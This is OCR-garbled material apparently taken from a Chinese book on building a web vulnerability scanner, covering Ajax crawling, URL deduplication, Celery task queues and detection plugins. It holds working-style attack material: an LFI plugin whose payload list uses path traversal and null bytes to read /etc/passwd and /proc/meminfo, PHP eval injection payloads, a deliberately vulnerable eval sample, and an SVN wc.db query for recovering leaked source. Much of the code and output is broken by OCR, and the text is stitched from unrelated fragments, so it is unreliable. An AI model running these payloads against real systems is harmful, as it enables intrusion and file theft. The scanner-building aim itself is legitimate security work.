Type "help", "copyright", "credits" or "license" for more information.

>>> from ghost import Ghost

>>> g=Ghost(display=True)

>>> ﬁage,res = g.open("http://testphp.vulnweb.com/Ajax /index.php")
>>>

ghost
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if res is None:
return False
res_body = res.body
if res body is None:
return. Ealse
result = re.search(pattern,res body,re.I)
if result:
return True
return False

def fill param(self,param):

Vi
(R
param_dict = copy.deepcopy (param)
for key,value in param dict.iteritems():
str _value = "".join(value)
ifSstrivalue=="%:
param dict [key]=smart_ fill (key)
return param dict

def get 1fi list(self):

localfiles = []

#Linux, Uninx

#5002 WY, X B \x00REE i

#/proc/meminfo3ff

localfiles.append(("/proc/meminfo", "memtotal:\s*\d+\s*\w{2}"))

localfiles.append (("../../../c/eif i/ /o). /. ./proc/meminfo", "memtotal: \s*\d+
\s*\w{2}"))
localfiles append (e /vl sficdlumlivalicalle sl liasls s proememinfo\x00Y,
"memtotal:\s*\d+\s*\w{2}"))

localfiles.appen@ ("<« lowl cclicalismlis ol s slicalo o fs ol s [ v (proc/meminfo\x00.html",
"memtotal:\s*\d+\s*\w{2}"))
#/etc/passwdiff
localfiles.append(("/etc/passwd","root:x:0:0:"))

localfrlescappend (Moo e /vl slism s sliss s sl e/ passwad? R root s x 20202 ()

localfiles.append(("../../cf ikl oi/ o/ oiloi/ /.. /etc/passwd\x00", "root:x:0:0
"))

localfiles.append (("../c./cf e/l /ol oo/ /. ./etc/passwd\x00.html", "root:
20210 =iHE)
return localfiles
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chrome://net-internals/#dns

m capturing events (538)

« View pending lookups
Async DNS Configuration

« Internal DNS client enabled: true

nameservers 192.168.2.1:53
‘append_to_multi_label_name | true
attempts. 2
edns0 faise
ndots 1
num_hosts 13
rotate faise
search
timeout 5
unhandled_options | false.
use_local_ipvé false

Host resolver cache _Clear host cache

« Capacily: 1000
Current State
« Active entrie
« Expired entri
Family Addresses Expires
124.165.204.43 i

168.168.com Py |2AIGEEAS 2016.08.07 18:26:33.71 [Expirec]
asorayoyicom.en 1PV4_ | 117.121.36.23 2016-08-07 18:31:02.003 [Expired]
atanxcom 1PV4_| 140.205,60.44 2016-08-07 18:40:07.133 [Expired]
a.yunshipei.com 1PV4 42.159.16.14 2016-08-07 18:00:01.792 [Expired]
ad.doubleclck.net Ipvs | 2082084591 2016-08-07 18:31:27.680 [Expired]

: : 203.208.43.92 2127
ads.csdnnet 1PV4_|101.201.174.163 2016-08:07 16
ali217 Jooyu.com 1PV4_|218.244.157.16 2016-08.07 16
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<table border="0" cellpadding="3" width="500" align="center">

<tr>
<td =" b -
<a Brefi"javéécriptzléddgomethihgf’hrtists.php‘);")art15€s<fai |
<a href="javascript:loadSomething('categories.php');">categories</a> |
<a href="#" onclick="loadSomething{'titles.php')">titles</a> |
<a href="#" onclick="sendXML{)">send xml</a> |
<a href="#" onclick="SetMyCookie(}">setcookie</a>
=
</er>
<tr>
<td>
<div id="contentDiv"=>
&nbsp;
</div>
</td>
</tr>
<tr>
<td>
<div id="infoDiv">
&nbsp;
</div>
</td>
</te>
<tr>
<td>
<div id="xmlDiv">
&nbsp;
</div>
</td>
</te>

</table>
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403 Forbidden

)3 Forbidden

€ | 192.168.126.142

SLHEF)  4WAE(E)

BEHV) H#AR(S)

FABE Iceweasel B B4 ?
SITIF , B (0)
BRIFLHHS)

N EIEE (A

BAJR B 3hR ARG, (A)

BRH
imiyoo@debian: /home/wwwNQot/default/book
#EN(H)

235(T)

L 4
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<

=

@ C\Windows\system32\cmd.exe

wuw.anquanbao .com

ww. anquanbao .con
3
4
e
: 115.231.110.36

-anguanbac .con

: 114.114.116.129

vipns1i.anquanbao.com

1
3

4
HAt
: 58.217.249.158
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=>> for item in res:
print item.url

http://testphp.vulnweb. com/Ajax /index.php
http://testphp.vulnweb. com/Ajax /styles.css
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imiyoo:tscanner imiyoo$ nosetests tests/test_common_vuln.py:test_Ifi —s

LF1 Vuln j@iRURL: http://192.168.126. 145/book/ | fi/1_|fi. php, iwiAEL ¥ : data

LFI Vuln j@RURL:http://192. 168. 126. 145/book/|fi/2_|fi. php, iRiAEH# : data

{u'192.168.126.145': {'teye_Ifi_plugin': {'Ifi': [<vuln object: "LFI Vuln">, <vuln object: "LFI Vuln">]}}]

Ran 1 test in 1.185s

0K
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GET / HITP/1.1

Host: 192.168.126.141

Connection: keep-alive

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10 10 2) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/54.0.2840.98 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,*/*;qg=0.8
Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CN,zh;g=0.8,en;g=0.6
Cookie:session=.eJyrVkosLcmIz8vPS05VsqpWUkhSs1KKDIk0inIPyvRlccgNzE029glxy Crcq30C_HK9
013y V1STadcg LJjArxtVWglYEYkV-QWFiKMCPKxdHY18XX0D8kI1MAvyynDNzfSyK KKdu3KrIiyj3UwNfFOT
AgxAlofiTQjFoAwgErqw.CyfuMQ.o0KrkT42AyiBhgkuOZBXSd91iH54; mycookie=you are spider
If-None-Match: W/"5735a311-8ed"

If-Modified-Since: Fri, 13 May 2016 09:49:05 GMT

HTTP/1.1 304 Not Modified

Server: nginx

Date: Tue, 06 Dec 2016 07:29:09 GMT
Last-Modified: Fri, 13 May 2016 09:49:05 GMT
Connection: keep-alive

ETag: "5735a311-8ed"
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for i in (document.getElementsByTag('a').length):
do_click (document.getElementsByTag('a') [1])
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sglite3 wc.db 'select local relpath, ".svn/pristine/" || substr(checksum,7,2) || "/" |
substr (checksum,7) || ".svn-base" as alpha from NODES;'
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chrome://net-internals/#dns
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element = "document.getElementsByTagName (a) [0].click ()"
a page,a res = g.evaluate(element,expect loading=True)
for item in a res:

print "AjaxifFRHJURL:"+item.url
# A B R DU N 2

print g.content
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imiyoo: ~/workplace/svn_for_tscanner/tscanner$ Is —waF1 .svn/

o/

cod
entries
format
pristine/
tmp/

wc. db
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curl -v -X HEAD http://192.168.126.141/

HEAD / HTTP/1.1
User-Agent: curl/7.37.1
HE St W10 788116 8115 6 Sk
Accept: */*

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 05 Dec 2016 03:33:14 GMT
Content-Type: text/html

Content-Length: 2285

Last-Modified: Fri, 13 May 2016 09:49:05 GMT
Connection: keep-alive

Vary: Accept-Encoding

ETag: "5735a311-8ed"

Accept-Ranges: bytes
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#AREC A DU P TR 890 & R R a bR 28 511R

root a list = dom.getAs()
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GET / HITP/1.1

Host: 192.168.126.141

Connection: keep-alive

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10 10 2) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/54.0.2840.98 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CN,zh;qg=0.8,en;g=0.6
Cookie:session=.eJyrVkosLcmIz8vPS05VsqpWUkhSs1KKDIk0inIPyvRlccgNzEo29glxy Crcq30C HK9
013y V1STaJcg LJjArxtVWglYEYkV-QWFiKMCPKxdHY18XX0D8kI1MAvyynDNzfSyK KKdu3KrIiyj3UwNfFOT
AgxAlofiTQjFoAwgErgw.CyfuMQ.o0KrkT42AyiBhgkuOZBXSd9iH54

If-None-Match: W/"5735a311-8ed"

If-Modified-Since: Fri, 13 May 2016 09:49:05 GMT

HTTP/1.1 304 Not Modified

Server: nginx

Date: Tue, 06 Dec 2016 07:28:55 GMT
Last-Modified: Fri, 13 May 2016 09:49:05 GMT
Connection: keep-alive

ETag: "5735a311-8ed"

Set-Cookie: mycookie=you are spider
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##<a> handler methods
def handle a tag start(self, tag, attrs):
href = attrs.get ("href","")
event =Nattrshge @ (Uoncliclc i)

item = {}

siczml Vil [ =eelliE . & aliaeEss
item["href"]=href
item["unig" ]=mdShex (href+event)

gellif, @ dmelEse skl
selffelaappendifitzem)
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F) HitE(E ) HER(S

imiyoo@debian:~$ sqlite? wc.db 'select local_relpath,

".svn/pristine/" || substr(checksum,7,2)

|| "/" || substr(checksum,7) || ".svn-base" as alpha from NODES;
info.php|.svn/pristine/aa/aabf021bb853678 837 fc766b5c4a58760f@3bce. svn-base
application/helpers/index.html|.svn/pristine/dd/ddabaf1127 fe57 f9c65e2cc83cd3443 fdefeScaf. svn-ba)
ES
application/helpers

Jctlaceebal/s4ec349diToabseb 1244 1b4gelsd/ ,svn—base]

/dd/ddabaf1124fe57/ficbbelcc8icd’445f4efedcat. svn-base)

application/cache

application/hooks/index.html|.svn/pristine/dd/ddabaf1127fe57 f9c65e2cc83cd3443faefeScaf. svn-base)
application/hooks

application/language/eNglish/index.html|.svn/pristine/dd/dd§abaf1127 fe57 fic65e2cc83cd3443 fefebc
af.svn-base

application/language/engd}ish

application/language/inddk. html|.svn/pristine/dd/ddabaf1127 f&f7 f9cb5e2cc83cd3443 fdefeScaf. svn-b)

ase
s ARNEERGE | SISERENGEEERGE
application/models/Wangdaizhijia_Model.php|.svn/pristine/ el bbcoch cebc9e980

0447a.svn-base

application/models/ fk/Rest_Model.php|.svn/pristine/76/768494eb676 ffbdacfba3 fh9143f510cf4859682.
svn-base

application/models/ fk/Baidu_model.php|.svn/pristine/e8/e8alca38ded486717 f6086c8bedaabd743b019289
.svn-base
application/models/Meilian_Model.php|.svn/pristine/8e/8eab2a3e5e3803cddfee555b3e3csfib58a91 fae.
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PENEET AT M AE
1750 /proc/meminfo MemTotal: 4047300 kB
75 ) Lol Jproc/meminfo MemTotal: 4047300 kB
Y3 /proc/meminfo%00 MemTotal: 4047300 kB
i 4 /proc/meminfo./ {4096,} MemTotal: 4047300 kB
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from ghost import Ghost
g = Ghost (display=True)
page, res = g.open ("http://testphp.vulnweb.com/Ajax/index.php")
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import re
import copy

import teye data.severity as severity
from teye data.vuln import vuln
from teye data.vulnmanager import wvm

from LogManager import log

from http.Request import Request

from wCurl import wcurl

from util.smart fill import smart fill

elass 1fi:

def _ init (self):

(RN

HERBE: OAXN SR TFuzz, TN TFuzz

self. fuzz mode = 0

def check(self,t request):

log.info (u"IEFERN H AR B AFE A& IR . .. ")
http request = copy.deepcopy(t_ request)

if http request.get method()=="GET":
param_dict = http_ request.get get param()
if http request.get method()=="POST":

param dict = http request.get post param()
1fi payload list = self. get payload list (param dict)
vuln _name = set ()
for name,poc_info,pattern in 1fi payload list:
res = wcurl.get (http_request.get uri_string(),params=poc_info)
if self. find wuln(res, pattern):
if name in vuln_name:

continue
vuln_name.add (name)
v = vuln()

url = res.get_url()

v.set url(url. get wri string() +"2"+str(poc info))
v.set_method ("GET")

Vv.set param(name)

v.set_name ("LFI Vuln")

v.set_rank(severity.H)

vm.append (self,url.get _host(),"1£fi",v)

log.info ("LFI Vuln")

print "LFI Vuln #JHURL: $s, RAZ%¥: %s" $ (url,name)

def find vuln(self,res,pattern):
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def CrawlAjax (url):
AP B 2 IC L2 1) T A URL
urls out=[]
GGG ET FJURL, FEid 8
urlist templi =[]
IR AR 51 4, BN L ETIURLDLH
browser.init ()

page = browser.open (url)
AR 224 T T 5 2 A )
events = page.get eventsi()
H#RHR 24 7 DU BT FIURL
mEils = page.get urlsi()
urls_temp.extends (urls)
#388 FARAS TR EE N L A
for i in events:
#XF S AT i
newpage i = browser.do_event (i)
3 I TH] T A
new events = get events (newpage,page)
#3RECA i T T A fIURL
urls = newpage i.get urls()
urls temp.extends (urls)
#38 J RS TR BE o 2 1 A
for j in new_events:
newpage j = browser.do event (Jj)
newurls = newpage j.get urls ()
BRI H DU T URL
urls = newpage j.get urls()
urls temp.extends (urls)
urls out = filter (urls temp)
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HA2 = md5("GET:/")
= 71998c64aea37ae77020c49c00£73fa8
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#coding=utf-8
import bsddb
import hashlib

def md5 16(str):
return hashlib.md5 (str) .hexdigest () [8:-8]

el i siE=|l

'http://www.anquanbao.com/1.php',
'http://www.anquanbao.com/2.php',
'http://www.anquanbao.com/3.php',
'http://www.anquanbao.com/1.php']

db = bsddb.db.DB ()
db.open ('test.db',dbtype = bsddb.db.DB HASH, flags = bsddb.db.DB CREATE)
for url in url list:
key = md5 16 (url)
if not db.has key(key):
db.put (key,url)
print "RHEFTIEAE: "
jeneiioye, Ghiell Jlalsie
print "RHEEHEEE: "
for item in db.items () :
print item
dib.elcse ()
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|/ “nttp/flocal..iyoo))y%27 % \ 4

Iceweasel

( 4 ) @ localhost/book/cmd/4_cmd.php?data=test’ ${print(mds5 (imiyoo))};’

ve|[ank

e & & =

$var="test';${print(md!
1 417a3e71833d279aefd38711a0f5f6

est
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response = md5 ("HAl:nonce:HA2")
=md5 ("41603ec4f18cl1472e93d71a0a324d17b:a66ddb00£fb7711a71252f1af078debe3:
71998c64aea37ae77020c49c00£73fa8")
=e1da38af05189d06a75536e484£f5a88c
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pip install bsddb3
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test';${print (md5 (imiyoo)) };"
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#!/usr/bin/python
#coding=utf-8
T

worker.py

from teye worker.scan import app

if name ==" main ":

app.worker main ()
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HAl=md5 ("admin:Authentication Required:secret")
=41603ec4f18cl472e93d71a0a324d17b





OEBPS/Image00131.jpg
imiyoo@debian:/home/wwwroot/default/book/BerkeleyDB$ python bsddb_url_filter.py

7 A MR

[ "http://www.anquanbao.com/1.php', "http://www.anquanbao.com/2.php', 'http://www.anquanbao.
com/3.php', "http://www.anquanbao.com/1.php']

EERBIE:

('00e1b1fI99FFf570", 'http://www.anquanbao.com/3.php')

('9d17fd8bd71c22e6', 'http://www.anquanbao.com/2.php")

('e154a922687d5b0d', 'http://www.anquanbao.com/1.php')






OEBPS/Image00050.jpg
GET / HTTP/1.1

Host: 192.168.126.141:8080

Connection: keep-alive

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/54.0.2840.98 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CN,zh;q=0.8,en;g=0.6
Cookie:session=.eJyrVkosLcmIz8vPS05VsqpWUkhSs1KKyvXK9nP3y GtCi33d Gs8AtJr DL8jXwg Ktj
HL3y4rK9cvlD fL9A JtlWglYEYKV-QWFiKMMPPxdUkKjwoyzfLsdwvKyUnKte3KjIr28TfJSUzyj3UICo8LD
MyxC3bL9wVaEYtAEcnLaw.CyfuGA.uL4aiEjoWHpZSh4J5yHpOu NfAY

HTTP/1.0 401 UNAUTHORIZED

Content-Type: text/html; charset=utf-8

Content-Length: 19

WWW-Authenticate: Digest realm="Authentication

Required", nonce="a66ddb00fb7711a71252f1af078debe3", opaque="d0703595460a2£670d361de400
S5elfb6"
Set-Cookie:session=.eJyrVkosLcmIz8vPS05VsqpWUkhSs1KKDIk0inIPyvRlccgNzEo29glxy Crcg30C
_HK9Q13y V1STaJdcg LjArxtVWqlYEYkV-QWFiKMCPKxdHY18XX0D8k1MAvyynDNzfSyK KKdu3KrIiyj3UwN
fFOTAgxAlofiTQjFoAwWqErgw.CyfulQ.omLIol7pHf32nuxLZ L-whptlgk; HttpOnly; Path=/

Server: Werkzeug/0.9.6 Python/2.7.9

Date: Tue, 06 Dec 2016 06:37:33 GMT

Unauthorized Access
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imiyoo@debian: /home/wwwroot/default/book/bloomfilter$ python pybloomfiltermmap.py
|5 2 A 0 R

[ http //www.baidu.com/1.php', 'http://www.baidu.com/2.php', 'http://www.baidu.com/3.php', 'http://www.baidu.com/1.
p'l

%iFE‘]ZﬂE
[ 'http://www.baidu.com/1.php', 'http://www.baidu.com/2.php', 'http://www.baidu.com/3.php']






OEBPS/Image00243.jpg
1.
<?php . ‘prirlit (,)) .
$<’j(idS (imiyo
Sa (m
?>
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flower --po=7788 --broker=redis://localhost:6379/0
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GET / HTTB/1.1

Host: 192.168.126.141:8080

Connection: keep-alive

Cache-Control: max-age=0

Authorization: Digest username="admin", realm="Authentication Required"”,
nonce="a66ddb00fb7711a71252f1af078debe3", uri="/",
response="elda38af05189d06a75536e484£f5a88c",
opaque="d0703595460a2£670d361de4005e1fb6"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/54.0.2840.98 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie:session=.eJyrVkosLcmIz8vPS05VsgpWUkhSs1KKDIk0inIPyvRlccgNzEo29glxy Crcg30C HK9
013y V1STaJdcg LjArxtVWglYEYkV-QWFiKMCPKxdHY18XX0D8k1MAvyynDNzfSyK KKdu3KrIiyj3UwNfFOT
AgxAlofiTQjFoAwgErqw.CyfulQ.omLIol7pHf32nuxLZ_ L-whptlgk

HTTP/1.0 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 12
Set-Cookie:session=.eJyrVkosLcmIz8vPS05VsqpWUkhSs1KKDIk0inIPyvRlcegNzEo29glxy Crcqg30C
_HK9013y V1STaJdcg LJArxtVWglYEYkV-QWFiKMCPKxdHY18XX0D8k1MAvyynDNzfSyK KKdu3KrIiyj3UwN
fFOTAgxAlofiTQjFoAwgErgw.CyfuMQ.o0KrkT42AyiBhgkuOZBXSd9iH54; HttpOnly; Path=/

Server: Werkzeug/0.9.6 Python/2.7.9

Date: Tue, 06 Dec 2016 06:37:37 GMT

Hello World!





OEBPS/Image00242.jpg





OEBPS/Image00363.jpg
pip install flower
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WEEAE

=
%)
4,-) http://192.168.126.141:8080 R A& FFEL, {584 : “Login Required”

[ B wE |
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#coding=utf-8
import hashlib

def madSHii6([SEr):
return hashlib.md5 (str) .hexdigest () [8:-8]

tuell i sie=]l

'http://www.anquanbao.com/1.php',
'http://www.anquanbao.com/2.php',
'http://www.anquanbao.com/3.php',
'http://www.anquanbao.com/1.php']

ety el ehieie = {1

result = []
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K ?7php

fa="print";

{print(md5(imiyoo))};

Iceweasel
http://local...p/print.php % | <
\

‘ & localhost.

|
|1417a3e718a3d279aefda8711a0f5f65
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Celery Flower - Iceweasel x

/ [@ Celery Flower \ +

(€)@ localhost 7788 vel[aur [%d & &=

Active: 0 Processed: 0 Failed: 0 Succeeded: 0 Retried: 0
1 | |
Shut Down  ~
Search:

Worker Name Status 4 Active Processed Falled Succeeded Retried Load Average

No data available in table

Showing 0 to 0 of 0 entries
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GET / HTTP/1.1

Host: 192.168.126.141:8080

Connection: keep-alive

Cache-Control: max-age=0

Authorization: Basic YWRtaW46c2VjcmVO

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10 10 2) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/54.0.2840.98 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,*/*;qg=0.8
Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CN,zh;qg=0.8,en;qg=0.6

HTTP/1.0 200 OK

Content-Type: text/html; charset=utf-8
Content-Length: 12

Server: Werkzeug/0.9.6 Python/2.7.9
Date: Mon, 05 Dec 2016 05:58:23 GMT

Hello World!
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#coding=utf-

el lidsie=(

'http://www.
'http://www.
'http://www.
'http://www.

8

anquanbao.
anquanbao.
anquanbao.

anquanbao.

HRIFE R AR

result = []

for urlNnns

rl list:

com/1.php',
com/2.php',
com/3.php',
com/1.php']

if url not in result:

result.append (id)

print "FEERHT
jouetinie. wael Ilil
print "EHEF

print result

%R <
St
IR -
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<?php

Sa ='print';

${print md5 (imiyoo) };
?>
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root@debian:~# flower --port=7788 --broker=redis://localhost:6379/0
[I 170412 00:15:18 command:136] Visit me at http://localhost:7788
[T 170412 00:15:18 command:141] Broker: redis://localhost:6379/0

[T 170412 00:15:18 command:144] Registered tasks:

[u'celery.
u'celery.
u'celery.
u'celery.
u'celery.
u'celery.
u'celery.
u'celery.
u'celery.

accumulate',
backend_cleanup’',
chain',

chord',
chord_unlock"',
chunks',

group',

map" ,

starmap']

[I 170412 00:15:19 mixins:224] Connected to redis://localhost:6379/0
26580:M 12 Apr 00:15:19.243 * 100 changes in 300 seconds. Saving...
26580:M 12 Apr 00:15:19.243 * Background saving started by pid 26838
26838:C 12 Apr 00:15:19.266 * DB saved on disk

26838:C 12 Apr 00:15:19.280 * RDB: @ MB of memory used by copy-on-write
26580:M 12 Apr 00:15:19.343 * Background saving terminated with success
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Response =Status-Line
*(( general-header
| response-header
|entity-header ) CRLF)
CRLF
[ message-body ]
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imiyoo@debian: /home/wwwroot/default/book/hashfilter$ python hashfilter.py

2 2 AT A BOHE

[ "http://www.anquanbao.com/1.php', 'http://www.anquanbao.com/2.php', 'http://www
.anquanbao.com/3.php', "http://www.anquanbao.com/1.php']

= E R %E:

http://www.anquanbao.com/1.php

http://www.anquanbao.com/3.php

http://www.anguanbao.com/2.php
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|/ httpi/focal.ds(miyoo))y %\ 4

Iceweasel

| € ) @ localhost/book/cmd/3 _cmd.php?data=test; §{print(md5(imiyoo))}

ve|[ak

e & &)

E417a39718a3d2 79 efdaa711a0f5f63est
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log.info ("TScanner Get the Msg From the Task Queue")
msg_json = json.loads (msg_info)

website= msg json.get ("website")

taskid= int (msg_json.get ("taskid"))

profilel="msg) Json.get ("profile™)

taskstarttime = datetime.datetime.now ()

1oqtn o

1o o o
5SS el

cmd="%s %$s -t %d -s '%s' -p
(Settings.PYTHON ENV, Settings.TEYE PY PATH,taskid,website,profile)

log.info (cmd)

ret= os.system(cmd)

if ret!=0:
log.error ("Error DoScanTask:%s" $ cmd)
rdb = RDB()

rdb.connect ()
taskendtime = datetime.datetime.now ()
rdb.updateProgress (taskid, 100)
rdb.updateFinish (taskid, taskendtime)
rdb.close ()
return False
rdb = RDB ()
rdb.connect ()
taskendtime = datetime.datetime.now ()
rdb.updateFinish (taskid, taskendtime)
rdb.close ()
log.info("Scan Website:"+website + " Spend Time:"+
str (taskendtime-taskstarttime))
return. True
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HTTP/1.1 200 OK

Server: ASERVER/1.8.0-3

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Tue, 01 Nov 2016 01:24:40 GMT

Content-Encoding: gzip

Set-Cookie:  ads session=0TOetiucOwgXI2gEhgA=; domain=.www.anquanbao.com; path=/
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#HHAIEURLIES G i Hash#

for umli nurl s
melSTurl S =Smds 16 (url)
mels) wiedl, ehbeis [lmrels vzl || Seell

for item in md5 url dict.keys():
if item not in result:
result.append (item)

print "ZEFTHIEAE "
print url list
print "EEFHEE: "
for item in result:
printEsmdoinr INdifeEtgeti(tiEem)
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test; ${print (md5 (imiyoo)) }
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#coding=utf-8

scan.py
T

import sys
sys.path.append("..")

import teye config as Settings

from celery import Celery
from celery import platforms

import os

import platform

import datetime

import json

#import subprocess

from LogManager import log
from RDB import RDB

# RVFROOTIK /™ i 3l
platforms.C FORCE_ROOT = True

BROKER URL='redis://127.0.0.1:6379/0"
app = Celery('scan',broker=BROKER URL)

@app.task(ignore result=True)
def DoScanTask (msg info) :
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GET / HTTP/1.1

Host: www.anquanbao.com

Connection: keep-alive

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10 10 2) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/54.0.2840.98 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CN,zh;g=0.8,en;g=0.6

Cookie: NewFeatureInfo=cornetto; pgv _pvi=8211100672;

Hm lvt 9008844166al18da6£640d8dcd6267ad6=1472356616,1473844697;
PageLoggerDataV2=%7B%22116513%22%3A%7B%22s%22%3A%22www%22%2C%2251%22%3A%22510997%22%2
C%22p%22%3A1%2C%22Cc%22%3A1%7D%7D
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2.2 3/build-unix
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eval ("\$var="'S$Scontent';");
echo $var;
?>
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imiyoo@debian:~/workplace/tscanner/teye_worker$ celery worker -A scan --loglevel=info

-- celery@debian v4.0.2 (latentcall)

Linux-3.16.0-4-amd64-x86_64-with-debian-8.4 2016-04-12 16:50:04

.> app: task:0x7fdfdaab4810

.> transport: redis://localhost:6379/@

> results: disabled://

> concurrency: 2 (prefork)

.> task events: OFF (enable -E to monitor tasks in this worker)

- % __
—— EEREEEE
—

[queues]
.> celery exchange=celery(direct) key=celery

[tasks]
. scan.DoScanTask

[2016-04-12 16:50:04,142: INFO/MainProcess] Connected to redis://localhost:6379/0
[2016-04-12 16:50:04,149: INFO/MainProcess] mingle: searching for neighbors
[2016-04-12 16:50:05,165: INFO/MainProcess] mingle: all alone

[2016-04-12 16:50:05,190: INFO/MainProcess] celery@debian ready.
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HTTP-Version SP Status-Code SP Reason-Phrase CRLF





OEBPS/Image00127.jpg
tar -zxvf db-6.2.23.tar.gz
cd db-6.2.23/build unix/
../dist/configure

make && make install
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<?php
Svar = "angquanbao";
Scontent = $ GET["data"]l;
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celery worker -A scan --loglevel=info





OEBPS/Image00362.jpg
root@debian:~# pip install redis
Downloading/unpacking redis
Downloading redis-2.10.5-py2.py3-none-any.whl (60kB): 6@0kB downloaded
Installing collected packages: redis
Successfully installed redis
Cleaning up...
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Method SP Request-URI SP HTTP-Version CRLF
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#coding=utf-8

import time

import requests

from LogManager import log
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Request =Request-Line
*(( general-header
| request-header
| entity-header )CRLF
CRLF
[ message-body ]
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imiyoo: /workplace/tscanner$ nosetests tests/test_page_404.py —s

[http://www. anquanbao. com/] 5 [http://www. anquanbao. com/ZDdY | FDA. htm|] 453 E AYAE{LEE 5 : 3. 54769785535e—08
[http://www. anquanbao. com/] 5 [http://www. anquanbao. com/ZDdY | FDA. htm!] #4531 E AR 5 : 3. 54769785535¢—08
[http://www. anquanbao. com/] 5 [http://www. anquanbao. com/opqtMJTK. html &/ TIE EOHR{LEE 9 : 3. 54769785535e-08
[http://waw. baidu. com/]1 5 [http://www. baidu. com/DNiHWUUG. htm! ] T3 EAYFE{AEE 9 : 0. 000224553864449
[http://www. baidu. com/] 5 [http://www. baidu. com/DNiHWUuG. htm!] &4 7T EAYFE{AEE J9: 0. 000224553864449
[http://waw. baidu. com/]1 5 [http://www. baidu. com/VgbYpgAx. htm! ] T EBYFE{LEE 75 : 0. 000224553864449
[http://www. baidu. com/noexist. html]5 [http://www. baidu. com/VgbYpgAx. htm|]1 N TIEAIFEINE 5:1.0

Ran 1 test in 1.976s

0K
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<a href="htttp://www.baidu.com/"></a>
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if not isinstance(lista,list) or not isinstance(listb,list):
return False
a_len=len(lista)
b_len=len (listb)
af¥allen S =S ens
return False
if a len >= b len:
temp = lista
lista = listb
listb = temp
#FIWTAS 11 s £ R AR &
count = 0
for item in lista:
if item in listb:
count +=1
if count == a_len and count<=b_ len:
return True
else:
return False
def is_similar_ url(urla,urlb):
#IREHML
protocola = urla.get protocol ()
protocolb = urlb.get protocol ()

#3KHhost

hosta = urla.get host(
hostb = urlb.get host ()
#ERI

porta =urla.get porti)
portb =urlb.get port()

#IRELER AR

patha = urla.get path()
pathb = urlb.get path()
#RPMSHList

keya = urla.get keys()
keyb = urlb.get_keys()

if protocola== protocol and hosta=hostb and porta==portb and patha=pathb and
is_contain_list (keya, keyb):
return True
else:
return False
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Iceweasel x

TS
J nttp://local..imiyoo))}:// % \ 4

| € ) @ localhost/book/cmd/S_cmd.php?data=test”]=1;${print(md5(imiyoo))}:// v C" ‘Q #R I wB ¥ A ‘ =

$myvar[test"]=1;S(print(md5(imiyoo)));//]=testll.417a3e718a3d279aefd3871130f5fﬁa
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#coding=utf-8

rpc_client.py

import rpyc

375 I 55 s O HE

c=rpyc.connect ('localhost"', 9999)
#9855 o 4 BB B 0AAT

print c.root.test()

c.close ()
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<a href='index.html'></a>
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#coding=utf-8

common .py
T

et iz eceontedn ligt (liste, lisitls) ¢
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test"]=1;${print (md5 (imiyoo)) };//
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from rpyc import Service
from rpyc.utils.server import ThreadedServer
class RpcService( Service ):
deflexpesceditestiselE)k:
return “Hello,World!”

si=NIhreadedScrvern(@Rpeservatec/Mpor= =089 0/ aTiFolireg ifsitcr=FallScl)

SPISIE el ()
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ORERE snsst x R FRME ERME RDES WBEO MR

BRE. MBE. MikHnE

AR

RS

2% @/"" t | umeens
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"http://www.anquanbao.com/index.php?a=1&b=1"]
result = []

iz LisEs eeey.clegeenpy (Tl Lise)
TEe T (FempiitiEsit ) i
result.append (temp list[0]
el EEmp e [
EorNalintempl (NS £
flag = False
for b in result:
if is similar url(a,b):
flag= True
if flag:
result.append(a)

print "R BT A -
ErinEsus s E
print "ELIEZEREDE:

print result
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#coding=utf-8

cmd.py

e

from LogManager import log

import re

import copy

from wCurl import wcurl

from http.Request import Request

from util.smart fill import smart fill
import teye data.severity as severity
from teye data.vuln import vuln

from teye data.vulnmanager import vm

class cmd:
G

e
def _ init_ (self)
T
AR AN BB TRuzz, IR TRz 2
self. fuzz mode = 0
self. cmd db = self. get_cmd db()

def check(self,t request):

i
e

log.info (u" IEERI B A5 2 B AR S PITRE. . .m)
http request = copy.deepcopy(t_request)

if http request.get method()=="GET":

param dict = http request.get get param()

if http_request.get method () =="POST":

param_dict = http_request.get post_param()
cmd _payload list = self. get payload list (param dict)
for name,poc_info,pattern in cmd payload list:

if http request.get method()=="GET":
res =

wcurl.get (http request.get_url().get uri_string(),params=poc_info)

if self. find wvuln(zes):
v = vuln()
url = res.get_url()

.set_url (url.get_uri_string()+"?"+str (poc_info))

v
v.set_method ("GET")
v.set_param(name)
v.set_name ("CMD Vuln"
v.set_rank (severity.H)

